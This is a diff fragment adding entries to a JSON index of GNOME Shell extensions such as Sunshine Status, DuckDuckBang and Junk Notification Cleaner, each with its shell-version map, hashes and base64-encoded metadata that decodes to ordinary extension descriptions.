+    "46": {"version": "2", "sha256": "157llxl7m9rabfbr1bzsinr2lhihfvdyr115g7bpmivd7fvf8bfp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFuZCBub24tb2JzdHJ1Y3RpdmUgd2F5IHRvIHNob3cgY3VycmVudGx5IGxhdW5jaGluZyBhcHBsaWNhdGlvbnMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJuYW1lIjogIlNwbGFzaCBJbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zcGxhc2gtaW5kaWNhdG9yIiwKICAidXVpZCI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMiwKICAidmVyc2lvbi1uYW1lIjogIjEuMC4wIgp9"},
+    "47": {"version": "2", "sha256": "157llxl7m9rabfbr1bzsinr2lhihfvdyr115g7bpmivd7fvf8bfp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFuZCBub24tb2JzdHJ1Y3RpdmUgd2F5IHRvIHNob3cgY3VycmVudGx5IGxhdW5jaGluZyBhcHBsaWNhdGlvbnMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJuYW1lIjogIlNwbGFzaCBJbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zcGxhc2gtaW5kaWNhdG9yIiwKICAidXVpZCI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMiwKICAidmVyc2lvbi1uYW1lIjogIjEuMC4wIgp9"},
+    "48": {"version": "2", "sha256": "157llxl7m9rabfbr1bzsinr2lhihfvdyr115g7bpmivd7fvf8bfp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIGFuZCBub24tb2JzdHJ1Y3RpdmUgd2F5IHRvIHNob3cgY3VycmVudGx5IGxhdW5jaGluZyBhcHBsaWNhdGlvbnMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJuYW1lIjogIlNwbGFzaCBJbmRpY2F0b3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vb2NoaTEyL2dub21lLXNoZWxsLWV4dGVuc2lvbi1zcGxhc2gtaW5kaWNhdG9yIiwKICAidXVpZCI6ICJzcGxhc2hpbmRpY2F0b3JAb2NoaTEyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMiwKICAidmVyc2lvbi1uYW1lIjogIjEuMC4wIgp9"}
+  }}
+, {"uuid": "sunshinestatus@maciejka.com", "name": "Sunshine Status", "pname": "sunshinestatus", "description": "Turn on/off sunshine and view its status. For it to work sunshine must be installed and configured.", "link": "https://extensions.gnome.org/extension/8188/sunshinestatus/", "shell_version_map": {
+    "48": {"version": "2", "sha256": "1bcgb2mmkr620hmxmfd213l810sd4cx434alrllg4npcg745v75z", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlR1cm4gb24vb2ZmIHN1bnNoaW5lIGFuZCB2aWV3IGl0cyBzdGF0dXMiLAogICJuYW1lIjogInN1bnNoaW5lU3RhdHVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01hY2llamthMS9zdW5zaGluZXN0YXR1cyIsCiAgInV1aWQiOiAic3Vuc2hpbmVzdGF0dXNAbWFjaWVqa2EuY29tIiwKICAidmVyc2lvbiI6IDIKfQ=="}
+  }}
+, {"uuid": "power-off-options@axelitama.github.io", "name": "Power Off Options", "pname": "power-off-options", "description": "Adds \"Turn Off Screen\" and \"Hibernate\" options to Gnome power off dialog:\n- turning off the screen requires X11 windowing system;\n- hibernation must be enabled and configured in the system to work.", "link": "https://extensions.gnome.org/extension/8189/power-off-options/", "shell_version_map": {
+    "48": {"version": "2", "sha256": "1bgkd58gamhhagf1j16gyc5a1lsmg728bpslc0lkxv0138js2gl6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgc2NyZWVuIG9mZiBhbmQgaGliZXJuYXRpb24gb3B0aW9ucyB0byBHbm9tZSBwb3dlciBvZmYgZGlhbG9nIiwKICAibmFtZSI6ICJQb3dlciBPZmYgT3B0aW9ucyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3dlci1vZmYtb3B0aW9ucyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9heGVsaXRhbWEvcG93ZXItb2ZmLW9wdGlvbnMiLAogICJ1dWlkIjogInBvd2VyLW9mZi1vcHRpb25zQGF4ZWxpdGFtYS5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogMgp9"}
+  }}
+, {"uuid": "repeat-to-cycle@alternateved.com", "name": "Repeat To Cycle", "pname": "repeat-to-cycle", "description": "Cycle between windows of application using dash shortcut.\n\nEnhances Super+number keyboard shortcuts with window cycling functionality. Press Super+number to launch apps, focus their most recent window, or cycle through multiple windows of the same application. Implements missing window cycling behavior for dash applications.\n\nGood addition to workflow for users who work with multiple windows of the same application and want faster, keyboard-driven switching.", "link": "https://extensions.gnome.org/extension/8222/repeat-to-cycle/", "shell_version_map": {
+    "48": {"version": "4", "sha256": "14hl6xrhingx679rz6icnfm079cxiaxn4qmxq3bnp8kh0flywncz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN5Y2xlIGJldHdlZW4gd2luZG93cyBvZiBhcHBsaWNhdGlvbiB1c2luZyBkYXNoIHNob3J0Y3V0LlxuXG5FbmhhbmNlcyBTdXBlcitudW1iZXIga2V5Ym9hcmQgc2hvcnRjdXRzIHdpdGggd2luZG93IGN5Y2xpbmcgZnVuY3Rpb25hbGl0eS4gUHJlc3MgU3VwZXIrbnVtYmVyIHRvIGxhdW5jaCBhcHBzLCBmb2N1cyB0aGVpciBtb3N0IHJlY2VudCB3aW5kb3csIG9yIGN5Y2xlIHRocm91Z2ggbXVsdGlwbGUgd2luZG93cyBvZiB0aGUgc2FtZSBhcHBsaWNhdGlvbi4gSW1wbGVtZW50cyBtaXNzaW5nIHdpbmRvdyBjeWNsaW5nIGJlaGF2aW9yIGZvciBkYXNoIGFwcGxpY2F0aW9ucy5cblxuR29vZCBhZGRpdGlvbiB0byB3b3JrZmxvdyBmb3IgdXNlcnMgd2hvIHdvcmsgd2l0aCBtdWx0aXBsZSB3aW5kb3dzIG9mIHRoZSBzYW1lIGFwcGxpY2F0aW9uIGFuZCB3YW50IGZhc3Rlciwga2V5Ym9hcmQtZHJpdmVuIHN3aXRjaGluZy4iLAogICJuYW1lIjogIlJlcGVhdCBUbyBDeWNsZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9hbHRlcm5hdGV2ZWQvZ25vbWUtcmVwZWF0LXRvLWN5Y2xlIiwKICAidXVpZCI6ICJyZXBlYXQtdG8tY3ljbGVAYWx0ZXJuYXRldmVkLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="}
+  }}
+, {"uuid": "godville-status@faizov", "name": "Godville Status", "pname": "godville-status", "description": "Display Godville game character status in GNOME Shell using godville.net services", "link": "https://extensions.gnome.org/extension/8225/godville-status/", "shell_version_map": {
+    "42": {"version": "2", "sha256": "12szwj8m87kc80mm3a16jqq2imgvpifjli56g9dvkcj5bazcfnpp", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgR29kdmlsbGUgZ2FtZSBjaGFyYWN0ZXIgc3RhdHVzIGluIEdOT01FIFNoZWxsIHVzaW5nIGdvZHZpbGxlLm5ldCBzZXJ2aWNlcyIsCiAgImdldHRleHQtZG9tYWluIjogImdvZHZpbGxlLXN0YXR1cyIsCiAgIm5hbWUiOiAiR29kdmlsbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmdvZHZpbGxlLXN0YXR1cyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9mYWl6b3YvZ29kdmlsbGUtZ25vbWUiLAogICJ1dWlkIjogImdvZHZpbGxlLXN0YXR1c0BmYWl6b3YiLAogICJ2ZXJzaW9uIjogMgp9"}
+  }}
+, {"uuid": "MaximizeToEmptyWorkspace-extension@kovari.cc", "name": "Maximized Into Empty Workspace", "pname": "maximize-to-empty-workspace-2025", "description": "New and maximized windows will be moved to empty workspaces.\nSupports multiple monitors.", "link": "https://extensions.gnome.org/extension/8226/maximize-to-empty-workspace-2025/", "shell_version_map": {
+    "45": {"version": "2", "sha256": "072r3dljnan8jjhspw6xxvj6kk9ljmb5i462480z2hc5xj20fmnw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5ldyBhbmQgbWF4aW1pemVkIHdpbmRvd3Mgd2lsbCBiZSBtb3ZlZCB0byBlbXB0eSB3b3Jrc3BhY2VzLlxuU3VwcG9ydHMgbXVsdGlwbGUgbW9uaXRvcnMuIiwKICAibmFtZSI6ICJNYXhpbWl6ZWQgSW50byBFbXB0eSBXb3Jrc3BhY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYmFsaW50YmFybmEvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW1heGltaXplLXRvLWVtcHR5LXdvcmtzcGFjZSIsCiAgInV1aWQiOiAiTWF4aW1pemVUb0VtcHR5V29ya3NwYWNlLWV4dGVuc2lvbkBrb3ZhcmkuY2MiLAogICJ2ZXJzaW9uIjogMgp9"},
+    "46": {"version": "2", "sha256": "072r3dljnan8jjhspw6xxvj6kk9ljmb5i462480z2hc5xj20fmnw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5ldyBhbmQgbWF4aW1pemVkIHdpbmRvd3Mgd2lsbCBiZSBtb3ZlZCB0byBlbXB0eSB3b3Jrc3BhY2VzLlxuU3VwcG9ydHMgbXVsdGlwbGUgbW9uaXRvcnMuIiwKICAibmFtZSI6ICJNYXhpbWl6ZWQgSW50byBFbXB0eSBXb3Jrc3BhY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYmFsaW50YmFybmEvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW1heGltaXplLXRvLWVtcHR5LXdvcmtzcGFjZSIsCiAgInV1aWQiOiAiTWF4aW1pemVUb0VtcHR5V29ya3NwYWNlLWV4dGVuc2lvbkBrb3ZhcmkuY2MiLAogICJ2ZXJzaW9uIjogMgp9"},
+    "47": {"version": "2", "sha256": "072r3dljnan8jjhspw6xxvj6kk9ljmb5i462480z2hc5xj20fmnw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5ldyBhbmQgbWF4aW1pemVkIHdpbmRvd3Mgd2lsbCBiZSBtb3ZlZCB0byBlbXB0eSB3b3Jrc3BhY2VzLlxuU3VwcG9ydHMgbXVsdGlwbGUgbW9uaXRvcnMuIiwKICAibmFtZSI6ICJNYXhpbWl6ZWQgSW50byBFbXB0eSBXb3Jrc3BhY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYmFsaW50YmFybmEvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW1heGltaXplLXRvLWVtcHR5LXdvcmtzcGFjZSIsCiAgInV1aWQiOiAiTWF4aW1pemVUb0VtcHR5V29ya3NwYWNlLWV4dGVuc2lvbkBrb3ZhcmkuY2MiLAogICJ2ZXJzaW9uIjogMgp9"},
+    "48": {"version": "2", "sha256": "072r3dljnan8jjhspw6xxvj6kk9ljmb5i462480z2hc5xj20fmnw", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk5ldyBhbmQgbWF4aW1pemVkIHdpbmRvd3Mgd2lsbCBiZSBtb3ZlZCB0byBlbXB0eSB3b3Jrc3BhY2VzLlxuU3VwcG9ydHMgbXVsdGlwbGUgbW9uaXRvcnMuIiwKICAibmFtZSI6ICJNYXhpbWl6ZWQgSW50byBFbXB0eSBXb3Jrc3BhY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYmFsaW50YmFybmEvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLW1heGltaXplLXRvLWVtcHR5LXdvcmtzcGFjZSIsCiAgInV1aWQiOiAiTWF4aW1pemVUb0VtcHR5V29ya3NwYWNlLWV4dGVuc2lvbkBrb3ZhcmkuY2MiLAogICJ2ZXJzaW9uIjogMgp9"}
+  }}
+, {"uuid": "folder-search-provider@sitnik.ru", "name": "Folder Search Provider", "pname": "folder-search-provider", "description": "GNOME extension to add to GNOME system search a quick way to run any of your projects in specific IDE.\n\nYou define root folder and application and the extension add a search through root folder’s children and run selected folder in specified app.", "link": "https://extensions.gnome.org/extension/8227/folder-search-provider/", "shell_version_map": {
+    "48": {"version": "1", "sha256": "1sb2xxr2r8mya4492i8wv9p11jsamvihg92p1lh7r3jk9h5gv3wn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCB0byBHTk9NRSBzeXN0ZW0gc2VhcmNoIGEgcXVpY2sgd2F5IHRvIHJ1biBhbnkgb2YgeW91ciBwcm9qZWN0cyBpbiBzcGVjaWZpYyBJREUiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImFpIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImZvbGRlci1zZWFyY2gtcHJvdmlkZXIiLAogICJuYW1lIjogIkZvbGRlciBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZm9sZGVyLXNlYXJjaC1wcm92aWRlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9haS9mb2xkZXItc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJmb2xkZXItc2VhcmNoLXByb3ZpZGVyQHNpdG5pay5ydSIsCiAgInZlcnNpb24iOiAxCn0="}
+  }}
+, {"uuid": "duckduckbang@merijn", "name": "DuckDuckBang", "pname": "duckduckbang", "description": "Use Super key for quick web search and add custom !bangs. Combination of Quick Web Search and !Bangs Search", "link": "https://extensions.gnome.org/extension/8229/duckduckbang/", "shell_version_map": {
+    "45": {"version": "4", "sha256": "0zxdmdg8bir6mfm317ill82qq3vnam8ybckgb5gxjl9ks5agqdv5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBTdXBlciBrZXkgZm9yIHF1aWNrIHdlYiBzZWFyY2ggYW5kIGFkZCBjdXN0b20gIWJhbmdzLiBDb21iaW5hdGlvbiBvZiBRdWljayBXZWIgU2VhcmNoIGFuZCAhQmFuZ3MgU2VhcmNoIiwKICAibmFtZSI6ICJEdWNrRHVja0JhbmciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZHVja2R1Y2tiYW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21lcmlqbnZlcnZvb3JuL2R1Y2tkdWNrYmFuZyIsCiAgInV1aWQiOiAiZHVja2R1Y2tiYW5nQG1lcmlqbiIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "46": {"version": "4", "sha256": "0zxdmdg8bir6mfm317ill82qq3vnam8ybckgb5gxjl9ks5agqdv5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBTdXBlciBrZXkgZm9yIHF1aWNrIHdlYiBzZWFyY2ggYW5kIGFkZCBjdXN0b20gIWJhbmdzLiBDb21iaW5hdGlvbiBvZiBRdWljayBXZWIgU2VhcmNoIGFuZCAhQmFuZ3MgU2VhcmNoIiwKICAibmFtZSI6ICJEdWNrRHVja0JhbmciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZHVja2R1Y2tiYW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21lcmlqbnZlcnZvb3JuL2R1Y2tkdWNrYmFuZyIsCiAgInV1aWQiOiAiZHVja2R1Y2tiYW5nQG1lcmlqbiIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "47": {"version": "4", "sha256": "0zxdmdg8bir6mfm317ill82qq3vnam8ybckgb5gxjl9ks5agqdv5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBTdXBlciBrZXkgZm9yIHF1aWNrIHdlYiBzZWFyY2ggYW5kIGFkZCBjdXN0b20gIWJhbmdzLiBDb21iaW5hdGlvbiBvZiBRdWljayBXZWIgU2VhcmNoIGFuZCAhQmFuZ3MgU2VhcmNoIiwKICAibmFtZSI6ICJEdWNrRHVja0JhbmciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZHVja2R1Y2tiYW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21lcmlqbnZlcnZvb3JuL2R1Y2tkdWNrYmFuZyIsCiAgInV1aWQiOiAiZHVja2R1Y2tiYW5nQG1lcmlqbiIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "48": {"version": "4", "sha256": "0zxdmdg8bir6mfm317ill82qq3vnam8ybckgb5gxjl9ks5agqdv5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlVzZSBTdXBlciBrZXkgZm9yIHF1aWNrIHdlYiBzZWFyY2ggYW5kIGFkZCBjdXN0b20gIWJhbmdzLiBDb21iaW5hdGlvbiBvZiBRdWljayBXZWIgU2VhcmNoIGFuZCAhQmFuZ3MgU2VhcmNoIiwKICAibmFtZSI6ICJEdWNrRHVja0JhbmciLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZHVja2R1Y2tiYW5nIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL21lcmlqbnZlcnZvb3JuL2R1Y2tkdWNrYmFuZyIsCiAgInV1aWQiOiAiZHVja2R1Y2tiYW5nQG1lcmlqbiIsCiAgInZlcnNpb24iOiA0Cn0="}
+  }}
+, {"uuid": "junk-notification-cleaner@murar8.github.com", "name": "Junk Notification Cleaner", "pname": "junk-notification-cleaner", "description": "Delete notifications for an application when its window is focused or closed.", "link": "https://extensions.gnome.org/extension/8230/junk-notification-cleaner/", "shell_version_map": {
+    "46": {"version": "4", "sha256": "1bsg0zqihnv7wl9csc91ip3md87ziwf5d46y3zkvq6df2v20fspy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRlbGV0ZSBub3RpZmljYXRpb25zIGZvciBhbiBhcHBsaWNhdGlvbiB3aGVuIGl0cyB3aW5kb3cgaXMgZm9jdXNlZCBvciBjbG9zZWQuIiwKICAibmFtZSI6ICJKdW5rIE5vdGlmaWNhdGlvbiBDbGVhbmVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmp1bmstbm90aWZpY2F0aW9uLWNsZWFuZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tdXJhcjgvanVuay1ub3RpZmljYXRpb24tY2xlYW5lciIsCiAgInV1aWQiOiAianVuay1ub3RpZmljYXRpb24tY2xlYW5lckBtdXJhcjguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "47": {"version": "4", "sha256": "1bsg0zqihnv7wl9csc91ip3md87ziwf5d46y3zkvq6df2v20fspy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRlbGV0ZSBub3RpZmljYXRpb25zIGZvciBhbiBhcHBsaWNhdGlvbiB3aGVuIGl0cyB3aW5kb3cgaXMgZm9jdXNlZCBvciBjbG9zZWQuIiwKICAibmFtZSI6ICJKdW5rIE5vdGlmaWNhdGlvbiBDbGVhbmVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmp1bmstbm90aWZpY2F0aW9uLWNsZWFuZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tdXJhcjgvanVuay1ub3RpZmljYXRpb24tY2xlYW5lciIsCiAgInV1aWQiOiAianVuay1ub3RpZmljYXRpb24tY2xlYW5lckBtdXJhcjguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "48": {"version": "4", "sha256": "1bsg0zqihnv7wl9csc91ip3md87ziwf5d46y3zkvq6df2v20fspy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRlbGV0ZSBub3RpZmljYXRpb25zIGZvciBhbiBhcHBsaWNhdGlvbiB3aGVuIGl0cyB3aW5kb3cgaXMgZm9jdXNlZCBvciBjbG9zZWQuIiwKICAibmFtZSI6ICJKdW5rIE5vdGlmaWNhdGlvbiBDbGVhbmVyIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmp1bmstbm90aWZpY2F0aW9uLWNsZWFuZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tdXJhcjgvanVuay1ub3RpZmljYXRpb24tY2xlYW5lciIsCiAgInV1aWQiOiAianVuay1ub3RpZmljYXRpb24tY2xlYW5lckBtdXJhcjguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA0Cn0="}
+  }}
+, {"uuid": "stretch-break-companion@pieterdd.github.io", "name": "Stretch Break Companion", "pname": "stretch-break-companion", "description": "GNOME Shell integration for Stretch Break, a utility that helps you take regular breaks. Version 4 is made for Stretch Break 0.1.6.", "link": "https://extensions.gnome.org/extension/8231/stretch-break-companion/", "shell_version_map": {
+    "48": {"version": "4", "sha256": "1hc69ad7jigcazfjj3bbw1bw2ms34kp4w3ayxldp2pkn73r4v7c9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkdOT01FIFNoZWxsIGludGVncmF0aW9uIGZvciBTdHJldGNoIEJyZWFrLCBhIHV0aWxpdHkgdGhhdCBoZWxwcyB5b3UgdGFrZSByZWd1bGFyIGJyZWFrcy4iLAogICJuYW1lIjogIlN0cmV0Y2ggQnJlYWsgQ29tcGFuaW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3BpZXRlcmRkL1N0cmV0Y2hCcmVhay8iLAogICJ1dWlkIjogInN0cmV0Y2gtYnJlYWstY29tcGFuaW9uQHBpZXRlcmRkLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiA0Cn0="}
+  }}
+, {"uuid": "currentworkspacename@jaybeeunix.dev", "name": "Current Workspace Name", "pname": "current-workspace-name", "description": "Displays the current workspace name in the panel", "link": "https://extensions.gnome.org/extension/8233/current-workspace-name/", "shell_version_map": {
+    "47": {"version": "2", "sha256": "1yhw57k3p7rxv10bwfav06h2vbhp3awjfwjmsi7fca7nxydc19hc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIHRoZSBjdXJyZW50IHdvcmtzcGFjZSBuYW1lIGluIHRoZSBwYW5lbCIsCiAgIm5hbWUiOiAiQ3VycmVudCBXb3Jrc3BhY2UgTmFtZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vamF5YmVldW5peC9nbm9tZS1zaGVsbC1leHRlbnNpb24tY3VycmVudHdvcmtzcGFjZW5hbWUiLAogICJ1dWlkIjogImN1cnJlbnR3b3Jrc3BhY2VuYW1lQGpheWJlZXVuaXguZGV2IiwKICAidmVyc2lvbiI6IDIKfQ=="},
